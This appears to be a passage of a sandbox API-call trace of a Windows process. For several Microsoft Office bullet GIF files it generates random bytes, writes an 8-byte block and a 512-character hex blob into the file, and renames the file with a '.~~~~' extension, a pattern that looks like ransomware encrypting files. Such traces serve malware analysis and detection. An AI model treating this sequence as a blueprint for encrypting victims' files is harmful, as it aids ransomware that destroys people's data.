	[0127.246] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.246] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.246] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.249] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.252] CloseHandle (hObject=0x144) returned 1
	[0127.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3548
	[0127.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif.~~~~")) returned 1
	[0127.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3548 | out: hHeap=0x300000) returned 1
	[0127.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.255] GetLastError () returned 0x0
	[0127.256] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.257] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.257] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.257] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24724741786) returned 1
	[0127.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb54ed310, dwHighDateTime=0x1d60e1e)) 
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6848
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6848 | out: hHeap=0x300000) returned 1
	[0127.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3890
	[0127.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0127.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.259] GetLastError () returned 0x0
	[0127.260] GetLastError () returned 0x0
	[0127.260] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.260] GetLastError () returned 0x0
	[0127.260] GetLastError () returned 0x0
	[0127.261] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.261] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf5, lpOverlapped=0x0) returned 1
	[0127.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.263] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.264] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.264] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.264] CloseHandle (hObject=0x144) returned 1
	[0127.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3890
	[0127.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif.~~~~")) returned 1
	[0127.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0127.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.266] GetLastError () returned 0x0
	[0127.266] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.268] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24725799002) returned 1
	[0127.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb54ed310, dwHighDateTime=0x1d60e1e)) 
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6880
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6880 | out: hHeap=0x300000) returned 1
	[0127.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f39e0
	[0127.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0127.269] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.269] GetLastError () returned 0x0
	[0127.269] GetLastError () returned 0x0
	[0127.269] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.269] GetLastError () returned 0x0
	[0127.269] GetLastError () returned 0x0
	[0127.271] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.271] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf5, lpOverlapped=0x0) returned 1
	[0127.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.272] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.273] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.273] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.273] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.273] CloseHandle (hObject=0x144) returned 1
	[0127.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f39e0
	[0127.273] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif.~~~~")) returned 1
	[0127.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0127.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.275] GetLastError () returned 0x0
	[0127.296] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.297] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.297] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.298] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24728803171) returned 1
	[0127.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb55395d0, dwHighDateTime=0x1d60e1e)) 
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a68b8
	[0127.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a68b8 | out: hHeap=0x300000) returned 1
	[0127.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3698
	[0127.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3698 | out: hHeap=0x300000) returned 1
	[0127.299] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.299] GetLastError () returned 0x0
	[0127.299] GetLastError () returned 0x0
	[0127.300] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.300] GetLastError () returned 0x0
	[0127.300] GetLastError () returned 0x0
	[0127.301] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff49, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.301] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xb7, lpOverlapped=0x0) returned 1
	[0127.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0127.304] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.304] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.304] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.304] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.304] CloseHandle (hObject=0x144) returned 1
	[0127.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3698
	[0127.305] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif.~~~~")) returned 1
	[0127.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3698 | out: hHeap=0x300000) returned 1
	[0127.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.552] GetLastError () returned 0x0
	[0127.552] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.553] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.553] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.554] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24754528407) returned 1
	[0127.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb57c0d30, dwHighDateTime=0x1d60e1e)) 
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6e68
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6e68 | out: hHeap=0x300000) returned 1
	[0127.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6dc0
	[0127.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0127.557] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.557] GetLastError () returned 0x0
	[0127.557] GetLastError () returned 0x0
	[0127.557] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.557] GetLastError () returned 0x0
	[0127.558] GetLastError () returned 0x0
	[0127.559] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff25, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.559] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xdb, lpOverlapped=0x0) returned 1
	[0127.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.561] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.561] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.562] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.562] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.562] CloseHandle (hObject=0x144) returned 1
	[0127.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6dc0
	[0127.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif.~~~~")) returned 1
	[0127.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0127.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.564] GetLastError () returned 0x0
	[0127.567] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.568] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.568] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24755816587) returned 1
	[0127.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb57c0d30, dwHighDateTime=0x1d60e1e)) 
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ea0
	[0127.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ea0 | out: hHeap=0x300000) returned 1
	[0127.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e69d0
	[0127.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0127.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.569] GetLastError () returned 0x0
	[0127.569] GetLastError () returned 0x0
	[0127.569] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.570] GetLastError () returned 0x0
	[0127.570] GetLastError () returned 0x0
